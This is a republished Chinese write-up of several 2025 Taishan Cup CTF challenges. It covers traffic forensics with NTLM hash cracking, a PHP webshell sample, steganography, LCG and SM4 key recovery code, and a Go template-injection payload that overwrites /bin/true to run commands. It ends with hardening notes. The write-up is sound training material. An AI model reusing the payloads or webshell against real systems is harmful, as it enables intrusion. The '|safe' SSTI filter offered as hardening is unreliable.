文章总结: 文章复盘2025泰山杯A组多道CTF赛题,涵盖取证、密码、逆向、Web与综合防御;逐题给出完整解题脚本与关键思路,如流量smb2解密+hashcat爆破解密、nodejs原型污染、pdf隐写+gif帧编码、LCG+SM4密钥爆破、go模板任意写配合命令执行,并附加固示例;整体侧重实战操作与工具链复现,可直接落地。
综合评分: 88
文章分类: CTF,WEB安全,逆向分析,流量分析,安全建设
2025年泰山杯A组部分题目WP
赛查查
2026年1月7日 09:00
北京
以下文章来源于lc网络安全比赛爱好者
,作者cifang
lc网络安全比赛爱好者
.
为聊城地区CTF比赛的爱好者提供信息的平台。
本文为分享个人做题经验,如有侵权,请与本人联系删除。
#
0xpicture
随波逐流解出flag前半段为:
flag{s5TQK6jhCa5u99
后半部分用记事本打开,扫描二维码
JVrGjgujqnarMcYXFG}
flag{s5TQK6jhCa5u99JVrGjgujqnarMcYXFG}
Scrambled Base
e
base62解码
nodbug
nodejs原型污染
流量分析(赛后作出,未验证)
导出流量中的文件,发现一个excel和多个php文件。分别分析:
第一步是smb2解密,参考【CTF-流量分析】应急流量(上)_哔哩哔哩_bilibili
观察smb2的流量,认为是administrator的密码泄露。
使用脚本NTLMRawUnHide.py 得到加密后的hash值
根据题目,使用excel中的个人信息制作字典,然后使用hashcat进行解密,得到弱口令 dengling19801014
第二步分析php文件
观察其中较小的一些文件,解密发现为木马
获得线索
eval($_POST[“ThisIsPass”]);
$pass=’SecretKey’;
$key=’0d734a1dc94fe5a9′;
ezpdf(跟着wp复现的)
分析pdf.pdf文件,发现前半部分为pdf,后半部分有个jpg头
尝试提取jpg,但无法打开。
将前半部分pdf打开编辑,发现文字图片后保存有一个字符串,解码后类似掩码( Irahf_T0bQ_qnL_???? )。转向寻找zip压缩包
观察后半部分发现 14 00 09 00,为压缩包的9-16位,尝试替换文件头,获得zip文件
经尝试确实可解压缩。使用掩码攻击:
打开zero文件,添加文件头,获得gif文件
用AI写个脚本,获取gif图片可能存在的线索,
将帧持续时间进行替换,90替换为1,100替换为0,获取到二进制字符串。
按7位字节进行编码,即可获得flag
chal(赛后复盘)
读题,题目为
1、已知一个加密函数encode1 ,并给出最后五次加密的结果(线性同余生成器(LCG))
def encode1(key): a = getPrime(255) b = getPrime(255) c = getPrime(256) key = bytes_to_long(key) for i in range(getPrime(16)): key = (a * key + b) % c for i in range (5): key = (a * key + b) % c print(key)
2、已知另一个加密函数encode,使用sm4算法,用key给data加密
def encode(key, data): sm4.set_key(key, sm4.SM4_ENCRYPT) ciphertext = sm4.crypt_ecb(data).hex() return ciphertext
3、已知一个key的前三位为 359,使用该key对flag进行加密得到cipher
#key = 359...cipher = encode(encode1(key),flag)
4、对于密文 cipher,进行rsa计算,提供了密文c1,c2
n1 = p1 * q1n2 = p1 * q2e = 65537print("c1 = " + str(pow(int(cipher[:48], 16),e,n1)))print("c2 = " + str(pow(int(cipher[48:], 16),e,n2)))
解题思路:
1、rsa可以使用公因数攻击,得到cipher的值(代码略)
cipher = b'a64d4854a86afeedd7f6dd2d26495c3822f1fe321b088dfbd5099e4263519417813c0ed9599809aa7f6e6bc22c373807'
2、根据encode1泄露出的最后5个计算结果可以得到abc的值
k1 = 57801564265964050114916094276345752301257913989577679527909394921472532728471k2 = 54244426021887981742093523484728247103673691630879822828357416599297100301003k3 = 21103444485855178936100147605471286459205677100487661931990932127722611693925k4 = 16708530543311379911747822235309056768964234629977981784496632555466517545235k5 = 13625518227399577811468142839704526824742177695587528045182019876397445018210# 计算差值d1 = k1 - k2d2 = k2 - k3d3 = k3 - k4d4 = k4 - k5# 计算关键值g1 = d1 * d3 - d2**2g2 = d2 * d4 - d3**2# 计算候选模数 cc_candidate = gcd(abs(g1), abs(g2))# 计算 a: a = (d2 * d1^{-1}) mod c_candidateinv_d1 = pow(d1, -1, c_candidate)a = (d2 * inv_d1) % c_candidate# 计算 b: b = (k2 - a*k1) mod c_candidateb = (k2 - a * k1) % c_candidate# 打印结果print(f"a = {a}")print(f"b = {b}")print(f"c = {c_candidate}")
3、根据encode函数性质,穷举range(getPrime(16))循环的所有可能性,如果得到的原始key的前三位为 359 ,则表示获取到原始的key
from math import gcdfrom Crypto.Util.number import long_to_bytes, bytes_to_longimport sys# 已知参数a = 32906499009013423453192091068053031138022961029771329217889091986105360388949b = 49616729761496522911540427140961656889253329857931442204477027458507495872949c = 98289790003643295721911068409990540934851453888981036169901986118802895263479# 给定的5个输出(k1到k5,k5是最后一个输出)k1 = 57801564265964050114916094276345752301257913989577679527909394921472532728471k2 = 54244426021887981742093523484728247103673691630879822828357416599297100301003k3 = 21103444485855178936100147605471286459205677100487661931990932127722611693925k4 = 16708530543311379911747822235309056768964234629977981784496632555466517545235k5 = 13625518227399577811468142839704526824742177695587528045182019876397445018210# 计算a在模c下的乘法逆元inv_a = pow(a, -1, c)# 从最后一个输出k5反推5次,得到第n次迭代后的值x_nx_n = k5for _ in range(5): x_n = (x_n - b) % c x_n = (x_n * inv_a) % c# 计算(a-1)在模c下的逆元inv_denom = pow(a - 1, -1, c)# 素数检测函数def is_prime(n): if n < 2: return False if n == 2: return True if n % 2 == 0: return False i = 3 while i * i <= n: if n % i == 0: return False i += 2 return True# 遍历所有16位素数(32768到65535)for n in range(32768, 65536): if not is_prime(n): continue # 计算 (inv_a)^n mod c term1 = pow(inv_a, n, c) # 计算等比数列求和 T = (1 - (inv_a)^n) * inv(a-1) mod c T = (1 - term1) * inv_denom % c # 计算原始key (x0) x0 = (x_n * term1 - b * T) % c # 将整数x0转换为字节串 key_bytes = long_to_bytes(x0) # 将字节串转换为字符串(假设是ASCII/UTF-8) try: key_str = key_bytes.decode('utf-8') except UnicodeDecodeError: # 如果解码失败,尝试使用ASCII(如果原始key是ASCII) try: key_str = key_bytes.decode('ascii') except: continue # 检查key_str的前三个字符是否为"359" if len(key_str) >= 3 and key_str[:3] == "359": print("Found! n =", n) print("Original key (integer):", x0) print("Original key (bytes):", key_bytes) print("Original key (string):", key_str) print("Verification (first 5 iterations):") print("\nVerification successful!") breakelse: print("No key found with prefix '359'")
经过计算得到key的值为 359a15e96fb1ea1a
4、使用sm4解密工具,获取flag
gostep(赛后复盘)
注入链:
首先注意到的是NewError和SerializeErrors函数都有任意文件写入漏洞。
然后注意到UserHealthcheck函数会执行 /bin/true 文件。
那么思路就是想办法将cat /flag写入到 /bin/true 文件并执行。(当然也可以写nc回本机,做到任意指令执行)
以下为本地搭建的go环境,ip地址皆为本机
访问http://127.0.0.1:8081/evil
post传入
username=../templates/a.html&name={{.NewError "1111" "/bin/true"}}{{.SerializeErrors "#!/bin/bash \ncat /flag 2>/dev/null \nexit 0 \n" 0 0}}{{.UserHealthcheck}}
#使用NewError 函数,目的是将"/bin/true"写入到 u.Errors的filename位置{{.NewError "1111" "/bin/true"}}
#将需要执行的命令写入到 u.Errors[0]的filename的文件,并从位置0开始覆盖写入#最后使用 exit 0 命令,阻止后续代码执行(报错){{.SerializeErrors "#!/bin/bash \ncat /flag 2>/dev/null \nexit 0 \n" 0 0}}
#执行go脚本中的UserHealthcheck函数,从而执行 /bin/true 命令,从而执行 cat /flag 指令{{.UserHealthcheck}}
可以看到/bin/true函数已经破破烂烂了。
综合防御赛
因为没有实时反馈,只能找一个算一个。
linux部分
存在高危端口4444和5001,
其中4444是ncat,杀掉进程删除文件
5001是python的web服务,杀掉后就算失能了。。。
python部分
该服务器运行了一个flask的web服务,那想都不用想,肯定ssit模板注入。能找到的如下:
1.secret_key固定口令:
BUUCTF 加固题 babypython 原题。
做如下加固
import secrets# 设置随机字符串的长度(例如:32 个字符)SECRET_KEY_LENGTH = 32# 生成安全的随机字符串app.secret_key = secrets.token_urlsafe(SECRET_KEY_LENGTH)
2.ssti模板注入
能找到三处,分别在/templates /reports /api/template 路由下面。
写一个加固函数
def template_safe(str): return re.sub('}}', '|safe}}', str)
3.分别对这三处路由的用户输入进行过滤
3.信息泄露
在report路由下,这个注释很突兀,感觉有诈
如果在report路由的自定义模板中,直接输入 {{user}} ,则会泄露所有用户的信息。
将敏感信息注释掉。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《2025年泰山杯A组部分题目WP》